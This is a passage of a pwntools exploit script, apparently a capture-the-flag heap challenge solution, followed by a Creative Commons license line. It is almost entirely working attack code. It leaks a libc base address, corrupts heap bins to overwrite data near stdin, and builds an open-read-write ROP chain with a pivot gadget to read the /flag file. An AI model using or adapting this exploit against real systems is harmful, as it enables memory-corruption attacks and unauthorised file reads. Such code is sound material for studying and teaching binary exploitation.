r.recvuntil("Chunk[2]: ")
libc_base = u64(r.recv(6).ljust(8,'\x00'))-0xb0dd0
success("libc_base = "+hex(libc_base))
add(0x10,'a\n')#3
add(0x10,'nmsl\n')#4
stdin = libc_base+0xb0180
delete(3)
edit(3,0x10,p64(stdin-0x10)*2+'\n')
add(0x10,'\n')#3
mybin = libc_base+0xb0dc8
rdi = 0x0000000000015291+libc_base
rsi = 0x000000000001d829+libc_base
rdx = 0x000000000002cdda+libc_base
open_ = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']
rop = p64(rdi)+p64(0)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x8)+p64(read)
rop += p64(rdi)+p64(libc_base+libc.bss())+p64(rsi)+p64(0)+p64(open_)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(read)
rop += p64(rdi)+p64(1)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(write)
dininghall_gadget = libc_base+0x0000000000078d24
rop_addr = stdin
ret = 0x0000000000015292+libc_base
delete(3)
edit(3,0x10,p64(mybin-0x18)+p64(stdin-0x10)+'\n')
add(0x10,'\n')
payload = rop.ljust(0x100,'\x00')
payload += p64(0)*4+p64(1)*2
payload += p64(rop_addr)
payload += p64(ret)
payload += p64(0)
payload += p64(dininghall_gadget)
menu(1)
r.recvuntil('Size: ')
r.sendline(str(0x200))
r.send(payload+'\n')
pause()
r.send('/flag\x00\n')
r.interactive()
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).